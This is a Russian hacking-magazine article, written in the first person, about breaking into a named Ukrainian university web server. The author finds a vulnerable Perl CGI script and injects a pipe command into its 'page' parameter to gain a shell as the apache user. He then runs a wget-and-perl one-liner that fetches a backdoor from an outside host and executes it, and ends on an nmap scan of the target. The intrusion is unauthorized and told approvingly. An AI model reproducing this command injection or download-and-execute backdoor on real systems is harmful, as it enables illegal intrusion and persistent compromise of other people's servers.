Университетский хак Александр Любимов aka Sashiks Хакер, номер #079, стр. 079-050-1 (real_sshx@mail.ru) Как Gwee помог взломать университетский сервер Уже много лет бытует мнение, что администраторы учебных заведений, на чьем попечении находятся основная масса машин, раздолбаи каких свет не видывал и, мягко говоря, они некомпетентны в своей области. Поскольку сценарии для вузовских веб-узлов пишут провинившиеся студенты на практике, эти программы весьма корявые и в них полно ошибок. В один из дождливых весенних дней, когда из-за тяжелого свинцового неба и обилия цветастых зонтов на улице казалось, что на дворе середина октября, и выходить на улицу совершенно не хотелось, я решил проверить жизненность этого мифа. И получилось забавно :). [hack the University] На помощь, как всегда, пришел верный Гугл. Я ввел в строку поиска что-то вроде site:edu.ua и через некоторое время, потраченное на интеллектуальное тыканье по ссылкам, я попал на сайт крупного донецкого ВУЗа — ДоНТУ (donntu.edu.ua). Что же, неплохо для начала. Впечатлял список сайтов кафедр. Разумеется, на одном из них я ожидал встретить бажный скрипт, который ждал бы меня, чтобы выдать веб-шелл или позволить слить важную БД. Осталось только найти этот сценарий. Я бегло начал просматривать довольно убогие (в плане оформления) страницы. Но, к сожалению, большинство страниц были построены на статичном html. Искать там было, соответственно, нечего. Но вдруг, совершенно неожиданно, мне улыбнулась госпожа Удача! Тыкая по ссылкам, я попал на «Факультет компьютерных информационных технологий и автоматики» (http://fkita.donntu.edu.ua/cgi-bin/index.pl) и нашел там то, что искал. С индекса меня сразу же перебросило на веселую страницу http://fkita.donntu.edu.ua/cgi-bin/index.pl?newsfor=fcita&page=contentindex&show=true. Судя по дате последнего поста, сайт давно не обновляли и, следовательно, за ним никто не следил. Я решил попробовать подставить в параметр рage заветную строчку «|id|» и, сразу после того как страница загрузилась, я узнал, что у меня есть доступ к веб-шеллу, причем с правами локального юзера apache! Да, ты все верно понял: этот cgi-сценарий имеет в себе столетний баг, из-за которого можно выполнить любую команду, указав ее вместо имени открываемого файла. Теперь осталось лишь найти, чем бы залить бэкдор на машину. Мне было необходимо узнать, какие утилиты для закачки установлены в системе и лишь потом производить upload. Я выполнил команду | which wget;whiсh lynx | и узнал, что на машине стоит wget. Отлично! То, что нужно! Командуем | wget http://sever.org/~sshx/x/bd.pl -O /tmp/bd.pl;perl /tmp/bd.pl |. По моей идее, после выполнения этого запроса должен был закачаться бэкдор и открыться 37900 порт для прослушивания входящих соединений. Я попробовал подключиться на нужный порт, но из этой затеи ничего не вышло, так как порт был закрыт. Видимо, эту машину защищает межсетевой экран, и он не позволил мне прицепиться к бэкдору. Я запустил на своем удаленном шелле nmap, чтобы посмотреть, какие порты открыты наружу: $ nmap -sV -F http://fkita.donntu.edu.ua 21/tcp open ftp ProFTPD 1.2.10rc1 |